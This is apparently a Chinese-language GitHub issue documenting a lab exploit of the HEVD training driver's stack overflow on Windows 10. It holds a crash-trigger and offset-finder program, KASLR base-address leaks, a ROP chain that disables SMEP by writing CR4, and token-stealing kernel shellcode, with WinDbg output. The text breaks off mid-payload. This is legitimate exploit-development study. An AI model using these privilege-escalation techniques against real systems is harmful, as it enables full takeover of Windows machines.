-
Notifications
You must be signed in to change notification settings - Fork 21
hevd_0_stack_overflow_win10 #91
Copy link
Copy link
Open
Labels
Description
作者: xina1i
建立: 2025.06.10
更新: 2025.07.09
-----------------------------------------------------------------
目录:
☆ 测试环境
☆ 驱动代码分析
☆ 溢出测试
☆ exploit分析
1) 防护机制分析
1.1) SMEP防护
1.2) KASLR防护
2) 获取基址
2.1) EnumDeviceDrivers
2.2) NtQuerySystemInformation
3) PayLoad分析
4) Exploit测试
4.1) 绕过SMEP出错问题解决
4.2) 环境恢复出错问题解决
☆ 总结
☆ 参考
-----------------------------------------------------------------
☆ 测试环境
主机: windows 10
vmware: 15.5
虚拟机:
0: kd> vertarget
Windows 10 Kernel Version 19041 MP (4 procs) Free x64
Edition build lab: 19041.1.amd64fre.vb_release.191206-1406
☆ 驱动代码分析
具体驱动代码
-----------------------------------------------------------------
// 将这两个函数放入一个可分页的代码段
#ifdef ALLOC_PRAGMA
#pragma alloc_text(PAGE, TriggerBufferOverflowStack)
#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)
#endif // ALLOC_PRAGMA
__declspec(safebuffers)
NTSTATUS
TriggerBufferOverflowStack(
_In_ PVOID UserBuffer,
_In_ SIZE_T Size
)
{
__try
{
// 对UserBuffer做预检查
ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));
#ifdef SECURE
// 安全复制,长度使用KernelBuff的长度,不受用户传入的控制
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
#else
// 非安全复制,使用用户传入的长度复制内容
RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
#endif
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
NTSTATUS
BufferOverflowStackIoctlHandler(
_In_ PIRP Irp,
_In_ PIO_STACK_LOCATION IrpSp
)
{
// 从IrpSp中获取用户数据及size
UserBuffer = IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
Size = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
if (UserBuffer) {
Status = TriggerBufferOverflowStack(UserBuffer, Size);
}
}
-----------------------------------------------------------------
代码的作用:将用户传入的数据复制到内核内存KernelBuffer中,复制的数据及长度由用户控制,用户可以构造恶意数据从而导致权限提升
☆ 溢出测试
1) 代码测试
使用溢出测试代码
-----------------------------------------------------------------
// IOCTL to trigger the stack overflow vuln, copied from HEVD source
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
// Function to generate a unique, non-repeating pattern (like Metasploit's pattern_create)
std::string generate_pattern(size_t length) {
std::string pattern = "";
pattern.reserve(length);
char c1 = 'A', c2 = 'a', c3 = '0';
while (pattern.length() < length) {
pattern += c1;
if (pattern.length() < length) pattern += c2;
if (pattern.length() < length) pattern += c3;
c3++;
if (c3 > '9') {
c3 = '0';
c2++;
if (c2 > 'z') {
c2 = 'a';
c1++;
if (c1 > 'Z') {
c1 = 'A'; // Should not happen for reasonable lengths
}
}
}
}
return pattern;
}
// Function to find the offset of a sub-pattern (given as a 64-bit value)
int find_pattern_offset(const std::string& pattern, uint64_t value) {
// Convert the 64-bit value (like 0x4142434445464748) to a string of bytes
std::string needle(reinterpret_cast<const char*>(&value), 8);
// In a crash, the lower bytes of the pattern might be what's in RIP
// So we search for a 4-byte pattern first, which is the most common case.
std::string needle32 = needle.substr(0, 4);
size_t pos = pattern.find(needle32);
if (pos != std::string::npos) {
return static_cast<int>(pos);
}
// If not found, try the full 8-byte pattern (less common)
pos = pattern.find(needle);
if (pos != std::string::npos) {
return static_cast<int>(pos);
}
return -1; // Not found
}
void trigger_bsod(const std::string& buffer) {
std::cout << "[*] Trying to get a handle to the driver..." << std::endl;
HANDLE hDevice = CreateFileA(
DEVICE_NAME,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED, // METHOD_NEITHER requires this
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
std::cerr << "[-] Failed to open handle to device. Error code: " << GetLastError() << std::endl;
std::cerr << "[-] Is the HEVD driver loaded?" << std::endl;
return;
}
std::cout << "[+] Opened handle to device: " << hDevice << std::endl;
DWORD bytesRet;
std::cout << "[*] Sending buffer of size " << buffer.length() << " to the driver." << std::endl;
std::cout << "[!] The system is expected to crash (BSOD). Please be ready to debug." << std::endl;
DeviceIoControl(
hDevice,
HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
(LPVOID)buffer.c_str(),
(DWORD)buffer.length(),
NULL,
0,
&bytesRet,
NULL
);
// If we reach here, it means BSOD didn't happen, which is unexpected.
std::cout << "[?] DeviceIoControl returned without crashing. Something is wrong." << std::endl;
CloseHandle(hDevice);
}
int main() {
int choice = 0;
std::cout << "--- HEVD Stack Overflow RIP Offset Finder ---" << std::endl;
std::cout << "Select mode:" << std::endl;
std::cout << "1. Generate pattern and trigger BSOD" << std::endl;
std::cout << "2. Find offset from RIP value" << std::endl;
std::cout << "Enter choice: ";
std::cin >> choice;
if (choice == 1) {
size_t buffer_size;
std::cout << "Enter buffer size to test (e.g., 3000): ";
std::cin >> buffer_size;
if (buffer_size < 500 || buffer_size > 8000) {
std::cerr << "[-] Please enter a reasonable size (e.g., between 500 and 8000)." << std::endl;
return -1;
}
std::cout << "[*] Generating unique pattern of " << buffer_size << " bytes..." << std::endl;
std::string pattern = generate_pattern(buffer_size);
trigger_bsod(pattern);
} else if (choice == 2) {
uint64_t rip_value;
size_t pattern_size;
std::cout << "Enter the pattern size you used in step 1 (e.g., 3000): ";
std::cin >> pattern_size;
std::cout << "Enter the RIP value from WinDbg crash dump (e.g., 0x41326141): 0x";
std::cin >> std::hex >> rip_value;
std::string pattern = generate_pattern(pattern_size);
int offset = find_pattern_offset(pattern, rip_value);
if (offset != -1) {
std::cout << "\n[+] SUCCESS!" << std::endl;
std::cout << "[+] The pattern was found." << std::endl;
std::cout << "[>] The exact offset to overwrite RIP is: " << offset << std::endl;
} else {
std::cerr << "\n[-] ERROR!" << std::endl;
std::cerr << "[-] The value 0x" << std::hex << rip_value
<< " was not found in the generated pattern." << std::endl;
std::cerr << "[-] Please double-check the RIP value and the pattern size." << std::endl;
}
} else {
std::cerr << "[-] Invalid choice." << std::endl;
}
system("pause");
return 0;
}
-----------------------------------------------------------------
测试崩溃,崩溃信息
-----------------------------------------------------------------
3: kd> r
rax=0000000000000000 rbx=3572433472433372 rcx=ffffb68c14f16f80
rdx=00004c004e5fd0d0 rsi=7243377243367243 rdi=4330734339724338
rip=fffff807423966bf rsp=ffffb68c14f17798 rbp=ffff8b8725fd3370
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=ffffb68c14f17780 r12=7243397143387143 r13=0000000000000000
r14=3771433671433571 r15=4334714333714332
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
HEVD+0x866bf:
fffff807`423966bf c3 ret
3: kd> k L5
# Child-SP RetAddr Call Site
00 ffffb68c`14f17798 43327243`31724330 HEVD+0x866bf
01 ffffb68c`14f177a0 35724334`72433372 0x43327243`31724330
02 ffffb68c`14f177a8 72433772`43367243 0x35724334`72433372
03 ffffb68c`14f177b0 43307343`39724338 0x72433772`43367243
04 ffffb68c`14f177b8 33734332`73433173 0x43307343`39724338
3: kd> dqs rip
fffff807`423966bf 4a8b4828`ec8348c3
fffff807`423966c7 528bc000`0001b820
fffff807`423966cf 06e80574`c9854810
fffff807`423966d7 c328c483`48000000
fffff807`423966df 57561824`5c8948cc
fffff807`423966e7 81485741`56415441
fffff807`423966ef 058b4800`000230ec
fffff807`423966f7 48c43348`fff7c905
fffff807`423966ff 48000002`20248489
fffff807`42396707 41db33f9`8b48f28b
fffff807`4239670f c48b4500`000200bc
fffff807`42396717 e820244c`8d48d233
fffff807`4239671f 438d4490`fff7addd
fffff807`42396727 ffcf8b48`d48b4101
fffff807`4239672f cf8b4cff`f7b91415
fffff807`42396737 44000028`42058d4c
-----------------------------------------------------------------
根据崩溃的返回地址43327243`31724330,查询到偏移量为2072,用如下代码做进一步验证
-----------------------------------------------------------------
std::string pattern(2072, 'A');
pattern += "BBBBBBBB";
pattern.resize(3000, 'A');
trigger_bsod(pattern);
3: kd> k
# Child-SP RetAddr Call Site
00 ffffd882`50eed798 42424242`42424242 HEVD+0x866bf
01 ffffd882`50eed7a0 41414141`41414141 0x42424242`42424242
02 ffffd882`50eed7a8 41414141`41414141 0x41414141`41414141
03 ffffd882`50eed7b0 41414141`41414141 0x41414141`41414141
04 ffffd882`50eed7b8 41414141`41414141 0x41414141`41414141
05 ffffd882`50eed7c0 41414141`41414141 0x41414141`41414141
-----------------------------------------------------------------
偏移位置确定。
☆ 利用代码分析
1) 防护机制分析
在代码利用的过程中,可能会出现多个内核安全防护,比如SMEP和KALSR,下面会针对遇到的两种防护进行分析
1.1) SMEP防护
SMEP影响分析
-----------------------------------------------------------------
3: kd> r
rax=0000000000000000 rbx=4141414141414141 rcx=ffffcc80b2932f80
rdx=000035652c2c4b70 rsi=4141414141414141 rdi=4141414141414141
rip=fffff80055f166bf rsp=ffffcc80b2933798 rbp=ffffdf04b2b462d0
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=ffffcc80b2933780 r12=4141414141414141 r13=0000000000000000
r14=4141414141414141 r15=4141414141414141
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
HEVD+0x866bf:
fffff800`55f166bf c3 ret
3: kd> k
# Child-SP RetAddr Call Site
00 ffffcc80`b2933798 42424242`42424242 HEVD+0x866bf
01 ffffcc80`b29337a0 41414141`41414141 0x42424242`42424242
02 ffffcc80`b29337a8 41414141`41414141 0x41414141`41414141
03 ffffcc80`b29337b0 41414141`41414141 0x41414141`41414141
04 ffffcc80`b29337b8 41414141`41414141 0x41414141`41414141
-----------------------------------------------------------------
从调用栈分析,其返回地址是42424242`42424242,但是却执行到
fffff800`55f166bf c3 ret
理论上应该是
42424242`42424242 ???
所以可以肯定是跳转被拦截了,通过多次分析崩溃附近的信息
-----------------------------------------------------------------
3: kd> r cr2
cr2=00007ffa1d58e140
3: kd> .exr -1
ExceptionAddress: fffff80422d266bf (HEVD+0x00000000000866bf)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff
3: kd> .trap @rsp
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
Unable to get program counter
rax=0000000000000000 rbx=0000000000000000 rcx=0000000000000000
rdx=0000000000000000 rsi=0000000000000000 rdi=0000000000000000
rip=4141414141414141 rsp=4141414141414141 rbp=4141414141414141
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0 nv up di pl zr na pe cy
4141:4141 ?? ???
0: kd> r cr4
cr4=0000000000350ef8
0: kd> ? (@cr4 & 0x100000)
Evaluate expression: 1048576 = 00000000`00100000
-----------------------------------------------------------------
SMEP防护检查:CPU准备从RIP指向的新地址取指执行。在此之前,内存管理单元(MMU)会进行地址翻译和权限检查
检查过程硬件自动完成,涉及以下关键点:
CPU特权级(Current Privilege Level, CPL):由于代码在内核驱动中运行,当前CPL为0(最高权限,即Supervisor Mode)
SMEP启用状态:Windows在支持SMEP的硬件上默认会启用它。这通过设置 控制寄存器4(CR4) 的第20位(SMEP bit)为1来完成
目标内存页属性:MMU会查找该用户空间地址对应的页表项(PTE)。
对于用户空间内存,其PTE中的U/S(User/Supervisor) 标志位会被设置为1(表示User page)
当 CR4.SMEP == 1 且 CPL == 0 时,如果尝试从一个PTE中 U/S 标志位为1的页面获取指令,则操作非法
没有找到合适的调试SMEP的流程,只能通过各种标志来发现,毕竟是硬件实现的。
绕过的方式:
ROP,不再使用用户地址的代码,而是使用内核本身模块的代码
1.2) KASLR防护
KASLR(Kernel ASLR/内核地址空间布局随机化)防护分析
主要操作就是不再将内核核心组件(如内核镜像 ntoskrnl.exe、硬件抽象层 hal.dll、驱动程序等)加载到固定的、可预测的内存地址,
而是在每次系统启动时,将它们加载到一个随机选择的基地址上
比如这次的栈溢出会多次调试,调试分析得到的地址都不一样
绕过的方式:通过各种函数调用获取到需要的模块基址
这个Stack Overflow获取基址的方式,目前找到两个
1. EnumDeviceDrivers
2. NtQuerySystemInformation
在下面代码利用过程中,我会分析具体的两种利用方法.
2) 获取基址
在使用payload之前,需要一个内核nt的基址来定位所有的ROP指令地址,根据网上的内容,有两种方法
2.1) EnumDeviceDrivers
具体方法如下
--------------------------------------------------------------------
LPVOID addresses[1000];
DWORD needed;
// 1. Get base address of ntoskrnl.exe
if (!EnumDeviceDrivers(addresses, sizeof(addresses), &needed))
{
printf("[-] EnumDeviceDrivers failed: %d\n", GetLastError());
return -1;
}
LPVOID ntoskrnl_base = addresses[0];
--------------------------------------------------------------------
2.2) NtQuerySystemInformation
适用于上面的方法无法使用的情况下
具体方法如下
--------------------------------------------------------------------
PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl;
cout << "[!] Last error " << GetLastError() << endl;
exit(1);
}
ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation,
NULL,
0,
&len);
PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
VirtualAlloc(NULL,
len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
pModuleInfo,
len,
&len);
if (status != (NTSTATUS)0x0) {
cout << "[!] NtQuerySystemInformation failed!" << endl;
exit(1);
}
PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;
--------------------------------------------------------------------
3) PayLoad分析
最开始网上使用的第一版payload,经过我的注释如下
-----------------------------------------------------------------
xor rax, rax ; rax置零
mov rax, gs:[rax + 188h] ; 获取nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD 位于 GS : [0x188]
mov rax, [rax + 0B8h] ; 获取 nt!_KTHREAD.ApcState.Process
mov rcx, rax ; 将当前进程的_EPROCESS结构复制到rcx
mov r11, rcx ; Store Token.RefCnt
and r11, 0xf ; 获取当前进程的Token引用计数
; _EX_FAST_REF(Token结构): 64 bit -> 0,3 (Token.RefCnt)
mov rdx, 4h ; 系统进程PID = 0x4;
; 搜索进程ID为4的进程
SearchSystemPID:
mov rax, [rax + 2e8h] ; 获取Flink nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 2e8h
cmp [rax + 2e0h], rdx ; 获取nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
; 结束后指向进程id为4的_EPROCESS
mov rdx, [rax + 358h] ; 获取系统进程的Token nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h ; 清零系统进程token计数
or rdx, r11 ; 将当前进程的token计数放入系统进程的token中
mov [rcx + 358h], rdx ; 将系统进程的Token替换到当前进程
xor rax, rax ; 设置返回值
; 恢复状态
xor rsi, rsi
xor rdi, rdi
add rsp, 040h
ret
-----------------------------------------------------------------
上面的代码中需要解释的点:
获取_KPROCESS的具体流程
-----------------------------------------------------------------
; 获取_KPROCESS操作
mov rax, gs:[rax+0x188] ; Get KTHREAD
mov rax, [rax+0xb8] ; Get EPROCESS (_KPROCESS)
-----------------------------------------------------------------
等价于
-----------------------------------------------------------------
2: kd> u PsGetCurrentProcess
nt!PsGetCurrentProcess:
fffff800`4d8bc330 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`4d8bc339 488b80b8000000 mov rax,qword ptr [rax+0B8h]
-----------------------------------------------------------------
具体结构信息分析
-----------------------------------------------------------------
2: kd> dt nt!_KPCR
+0x000 NtTib : _NT_TIB
+0x000 GdtBase : Ptr64 _KGDTENTRY64
...
+0x080 KernelReserved : [15] Uint4B
+0x0bc SecondLevelCacheSize : Uint4B
+0x0c0 HalReserved : [16] Uint4B
+0x100 Unused2 : Uint4B
+0x108 KdVersionBlock : Ptr64 Void
+0x110 Unused3 : Ptr64 Void
+0x118 PcrAlign1 : [24] Uint4B
+0x180 Prcb : _KPRCB <---
2: kd> dt _KPRCB
ntdll!_KPRCB
+0x000 MxCsr : Uint4B
+0x004 LegacyNumber : UChar
+0x005 ReservedMustBeZero : UChar
+0x006 InterruptRequest : UChar
+0x007 IdleHalt : UChar
+0x008 CurrentThread : Ptr64 _KTHREAD <--- 0x180+8 kpcr.Prcb.CurrentThread
+0x010 NextThread : Ptr64 _KTHREAD
+0x018 IdleThread : Ptr64 _KTHREAD
+0x020 NestingLevel : UChar
+0x021 ClockOwner : UChar
2: kd> dt _KTHREAD
ntdll!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 SListFaultAddress : Ptr64 Void
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr64 Void
...
+0x07d SystemHeteroCpuPolicy : UChar
+0x07e UserHeteroCpuPolicy : Pos 0, 7 Bits
+0x07e ExplicitSystemHeteroCpuPolicy : Pos 7, 1 Bit
+0x07f Spare0 : UChar
+0x080 SystemCallNumber : Uint4B
+0x084 ReadyTime : Uint4B
+0x088 FirstArgument : Ptr64 Void
+0x090 TrapFrame : Ptr64 _KTRAP_FRAME
+0x098 ApcState : _KAPC_STATE <---
+0x098 ApcStateFill : [43] UChar
+0x0c3 Priority : Char
+0x0c4 UserIdealProcessor : Uint4B
+0x0c8 WaitStatus : Int8B
+0x0d0 WaitBlockList : Ptr64 _KWAIT_BLOCK
2: kd> dt _KAPC_STATE
ntdll!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x020 Process : Ptr64 _KPROCESS <--- 0x98+0x20 kthread.ApcState.Process
+0x028 InProgressFlags : UChar
+0x028 KernelApcInProgress : Pos 0, 1 Bit
+0x028 SpecialApcInProgress : Pos 1, 1 Bit
+0x029 KernelApcPending : UChar
+0x02a UserApcPendingAll : UChar
+0x02a SpecialUserApcPending : Pos 0, 1 Bit
+0x02a UserApcPending : Pos 1, 1 Bit
-----------------------------------------------------------------
最后获取的是_KPROCESS,可以理解其为_EPROCESS,因为_EPROCESS的第一个结构是_KPROCESS,他俩始终一一对应,
获取了_KPROCESS就相当于获取了_EPROCESS.
其中搜索系统进程的代码是跟系统版本相关的,当前环境下,具体偏移如下
更新如下代码
-----------------------------------------------------------------
; EPROCESS offsets:
; +0x440 UniqueProcessId
; +0x448 ActiveProcessLinks
; +0x4b8 Token
mov rdx, 4h ; 系统进程PID = 0x4;
; 搜索进程ID为4的进程
SearchSystemPID:
mov rax, [rax + 448h] ; 获取Flink nt!_EPROCESS.ActiveProcessLinks.Flink
sub rax, 448h
cmp [rax + 440h], rdx ; 获取nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
; 结束后指向进程id为4的_EPROCESS
mov rdx, [rax + 4b8h] ; 获取系统进程的Token nt!_EPROCESS.Token
and rdx, 0fffffffffffffff0h ; 清零系统进程token计数
or rdx, r11 ; 将当前进程的token计数放入系统进程的token中
mov [rcx + 4b8h], rdx ; 将系统进程的Token替换到当前进程
-----------------------------------------------------------------
4) Exploit测试
4.1) 绕过SMEP出错问题解决
执行exploit代码,遇到如下问题
-----------------------------------------------------------------
Unknown exception - code c0000096 (!!! second chance !!!)
nt!KiEnableXSave+0xb4eb:
fffff803`571a41cf 0f22e1 mov cr4,rcx
1: kd> r
rax=0000000000000000 rbx=0000000000070678 rcx=0000000000070678
rdx=00000e514d003080 rsi=fffff803571a41cf rdi=000001dd26960000
rip=fffff803571a41cf rsp=fffff38bd995d7b0 rbp=ffffdd0ebd574190
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=fffff38bd995d780 r12=4141414141414141 r13=0000000000000000
r14=4141414141414141 r15=4141414141414141
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
nt!KiEnableXSave+0xb4eb:
fffff803`571a41cf 0f22e1 mov cr4,rcx
1: kd> k
# Child-SP RetAddr Call Site
00 fffff38b`d995d7b0 000001dd`26960000 nt!KiEnableXSave+0xb4eb
01 fffff38b`d995d7b8 fffff803`56e02e11 0x000001dd`26960000
02 fffff38b`d995d7c0 ffffdd0e`bd574190 nt!ObpReferenceObjectByHandleWithTag+0x231
03 fffff38b`d995d850 00000000`00000001 0xffffdd0e`bd574190
04 fffff38b`d995d858 ffffdd0e`00000000 0x1
05 fffff38b`d995d860 00000000`00000000 0xffffdd0e`00000000
1: kd> ub .
nt!KiEnableXSave+0xb4ca:
fffff803`571a41ae 488bc2 mov rax,rdx
fffff803`571a41b1 b9a00d0000 mov ecx,0DA0h
fffff803`571a41b6 48c1ea20 shr rdx,20h
fffff803`571a41ba 0f30 wrmsr
fffff803`571a41bc e9704bffff jmp nt!KiEnableXSave+0x4d (fffff803`57198d31)
fffff803`571a41c1 4885c8 test rax,rcx
fffff803`571a41c4 0f848a4bffff je nt!KiEnableXSave+0x70 (fffff803`57198d54)
fffff803`571a41ca 480fbaf112 btr rcx,12h
1: kd> r cr4
cr4=0000000000350ef8
-----------------------------------------------------------------
在执行代码
fffff802`28da41cf 0f22e1 mov cr4,rcx
报错:c0000096
能够这么执行,说明我们成功覆盖了返回地址,但是无法修改cr4寄存器
其中rcx的值为0x70678,也就是enum_0版本的利用代码
给cr4赋值0x70678失败,可能会有两个原因
a. 赋值的值本身有问题
b. 触发了某种防护机制导致修改cr4值失败(值可能会导致该问题)
首先来具体分析0x70678赋值到cr4会改变哪些标志
原始值: 0x350ef8 (0011 0101 0000 1110 1111 1000)
变化值: 0x70678 (0000 0111 0000 0110 0111 1000)
^^ ^ ^ ^
使用gemini画了一张表
+-----+-------+------------------------------------+--------------+-------------------------------
| Bit | Flag | Full Name | Change | Impact & Meaning
+-----+-------+------------------------------------+--------------+-------------------------------
| 7 | PGE | Page Global Enable | 1 -> 0 (OFF) | 禁用全局页,导致TLB频繁刷新
| 11 | UMIP | User-Mode Instruction Prevention | 1 -> 0 (OFF) | 允许用户程序获取内核信息,削弱防御
| 17 | PCIDE | Process-Context Identifiers Enable | 0 -> 1 (ON) | 启用进程上下文ID,减少TLB刷新开销
| 20 | SMEP | Supervisor Mode Execution Protect | 1 -> 0 (OFF) | 关闭内核执行保护,极易被漏洞利用
| 21 | SMAP | Supervisor Mode Access Protection | 1 -> 0 (OFF) | 关闭内核访问保护,可随意读写用户数据
+-----+-------+------------------------------------+--------------+--------------------------------
具体是哪个造成修改cr4失败,我们逐一验证
为了更加准确的测试,我们每次只改变原始值的其中一个标志位
a. PGE_MASK (1ULL << 7)
0x350ef8 ^ PGE_MASK
执行结果如下
-----------------------------------------------------------------
0: kd> u nt+0x9A41CF
nt!KiEnableXSave+0xb4eb:
fffff801`69ba41cf 0f22e1 mov cr4,rcx
fffff801`69ba41d2 c3 ret
fffff801`69ba41d3 cc int 3
fffff801`69ba41d4 bb0d0000c0 mov ebx,0C000000Dh
fffff801`69ba41d9 e9c24bffff jmp nt!PfSnBeginBootPhase+0x3c (fffff801`69b98da0)
fffff801`69ba41de ba01000000 mov edx,1
fffff801`69ba41e3 8d4a07 lea ecx,[rdx+7]
fffff801`69ba41e6 e845e09bff call nt!PfSnUpdatePrefetcherFlags (fffff801`69562230)
0: kd> g
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff801`69ba41cf 0f22e1 mov cr4,rcx
0: kd> t
nt!KiEnableXSave+0xb4ee:
fffff801`69ba41d2 c3 ret
-----------------------------------------------------------------
b. UMIP_MASK (1ULL << 11)
0x350ef8 ^ UMIP_MASK
执行结果如下
-----------------------------------------------------------------
0: kd> bu nt+0x9A41CF
0: kd> g
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff800`12fa41cf 0f22e1 mov cr4,rcx
1: kd> t
nt!KiEnableXSave+0xb4ee:
fffff800`12fa41d2 c3 ret
1: kd> r cr4
cr4=00000000003506f8
-----------------------------------------------------------------
c. PCIDE_MASK (1ULL << 17)
执行结果如下
-----------------------------------------------------------------
0: kd> bu nt+0x9A41CF
0: kd> g
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff806`759a41cf 0f22e1 mov cr4,rcx
1: kd> k
# Child-SP RetAddr Call Site
00 ffffbe81`6365a7b0 00000171`b1fe0000 nt!KiEnableXSave+0xb4eb
01 ffffbe81`6365a7b8 fffff806`75602e11 0x00000171`b1fe0000
02 ffffbe81`6365a7c0 ffff8502`614413f0 nt!ObpReferenceObjectByHandleWithTag+0x231
03 ffffbe81`6365a850 00000000`00000001 0xffff8502`614413f0
04 ffffbe81`6365a858 ffff8502`00000000 0x1
05 ffffbe81`6365a860 00000000`00000000 0xffff8502`00000000
1: kd> t
Unknown exception - code c0000096 (!!! second chance !!!)
nt!KiEnableXSave+0xb4eb:
fffff806`759a41cf 0f22e1 mov cr4,rcx
-----------------------------------------------------------------
到这里已经能够知道是17位变更导致的问题,但是为了严谨,继续将剩下的两个标志位测试一下
d. SMEP_MASK (1ULL << 20)
运行结果如下
-----------------------------------------------------------------
kd> bu nt+0x9A41CF
kd> g
KDTARGET: Refreshing KD connection
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff804`169a41cf 0f22e1 mov cr4,rcx
3: kd> t
nt!KiEnableXSave+0xb4ee:
fffff804`169a41d2 c3 ret
3: kd> r cr4
cr4=0000000000250ef8
-----------------------------------------------------------------
e. SMAP_MASK (1ULL << 21)
执行结果如下
-----------------------------------------------------------------
1: kd> bu nt+0x9A41CF
1: kd> g
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff801`839a41cf 0f22e1 mov cr4,rcx
2: kd> t
nt!KiEnableXSave+0xb4ee:
fffff801`839a41d2 c3 ret
2: kd> r cr4
cr4=0000000000250ef8
-----------------------------------------------------------------
现在可以确定是因为PCIDE_MASK导致的,通过搜索资料发现根本原因:
试图写入CR4的值违反了CPU架构定义的硬性规则
根据Intel软件开发者手册(SDM)的规定,启用PCIDE(Process-Context Identifier Enable,CR4的第17位)
有一个强制性的先决条件:PGE(Page Global Enable,CR4的第7位)必须也同时被启用。
使用的值违反了这一条
7 PGE 1 -> 0 (禁用)
17 PCIDE 0 -> 1 (启用)
4.2) 环境恢复出错问题解决
解决上面更改cr4值的问题后,继续运行
-----------------------------------------------------------------
0: kd> bu nt+0x9A41CF
0: kd> g
Breakpoint 0 hit
nt!KiEnableXSave+0xb4eb:
fffff807`6bfa41cf 0f22e1 mov cr4,rcx
2: kd> t
nt!KiEnableXSave+0xb4ee:
fffff807`6bfa41d2 c3 ret
2: kd> t
0000023a`6bd80000 4831c0 xor rax,rax
2: kd> u .
0000023a`6bd80000 4831c0 xor rax,rax
0000023a`6bd80003 65488b8088010000 mov rax,qword ptr gs:[rax+188h]
0000023a`6bd8000b 488b80b8000000 mov rax,qword ptr [rax+0B8h]
0000023a`6bd80012 4889c1 mov rcx,rax
0000023a`6bd80015 4c89c9 mov rcx,r9
0000023a`6bd80018 4983e307 and r11,7
0000023a`6bd8001c 48c7c204000000 mov rdx,4
0000023a`6bd80023 488b8048040000 mov rax,qword ptr [rax+448h]
2: kd> g
Access violation - code c0000005 (!!! second chance !!!)
0000023a`6bd80479 41 ???
2: kd> r
rax=fffff8076c21db18 rbx=0000000000250ef8 rcx=0000000000000000
rdx=0000000000000004 rsi=fffff8076bfa41cf rdi=0000023a6bd80000
rip=0000023a6bd80479 rsp=ffffa98aa59727b0 rbp=ffffaa821ef43060
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=0000000000000000 r12=4141414141414141 r13=0000000000000000
r14=4141414141414141 r15=4141414141414141
iopl=0 nv up ei pl zr na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246
0000023a`6bd80479 41 ???
2: kd> u .
0000023a`6bd80479 41 ???
0000023a`6bd8047a 41 ???
0000023a`6bd8047b 41 ???
0000023a`6bd8047c 41 ???
0000023a`6bd8047d 41 ???
0000023a`6bd8047e 41 ???
0000023a`6bd8047f 41 ???
0000023a`6bd80480 41 ???
-----------------------------------------------------------------
根据调试可以发现,成功跳转,payload也成功执行,但是最后的栈没有恢复成功,导致执行了buffer中的内容
exploit执行的溢出栈,大概类似于
(高地址)
...
+----------------------------------------+
| ... (更高地址的栈内容) ... |
+----------------------------------------+
| Address of GetToken() | <-- ROP链的第3个元素 (最终跳转目标)
+----------------------------------------+
| Address of "mov cr4, rcx; ret" | <-- ROP链的第2个元素
+----------------------------------------+
| 0x0000000000070678 | <-- ROP链的第1个元素 (pop rcx 的数据)
+----------------------------------------+
| Address of "pop rcx; ret" | <-- 被覆盖的返回地址 (ROP链起点) RSP 指向这里
+----------------------------------------+
| ... 'AAA...'(覆盖了保存的RBP等) ... | <-- 栈没有修复好,最后跳到这部分
+----------------------------------------+
| ... 'AAA..'(填充易受攻击的缓冲区)... |
+----------------------------------------+
| ... (更低地址的栈内容) ... |
...
(低地址)
通过网上搜索,修复的payload代码如下,变更主要是在环境恢复
-----------------------------------------------------------------
xor rax, rax ; rax置零
mov rax, gs:[rax + 188h] ; 获取nt!_KPCR.PcrbData.CurrentThread
; _KTHREAD 位于 GS : [0x188]
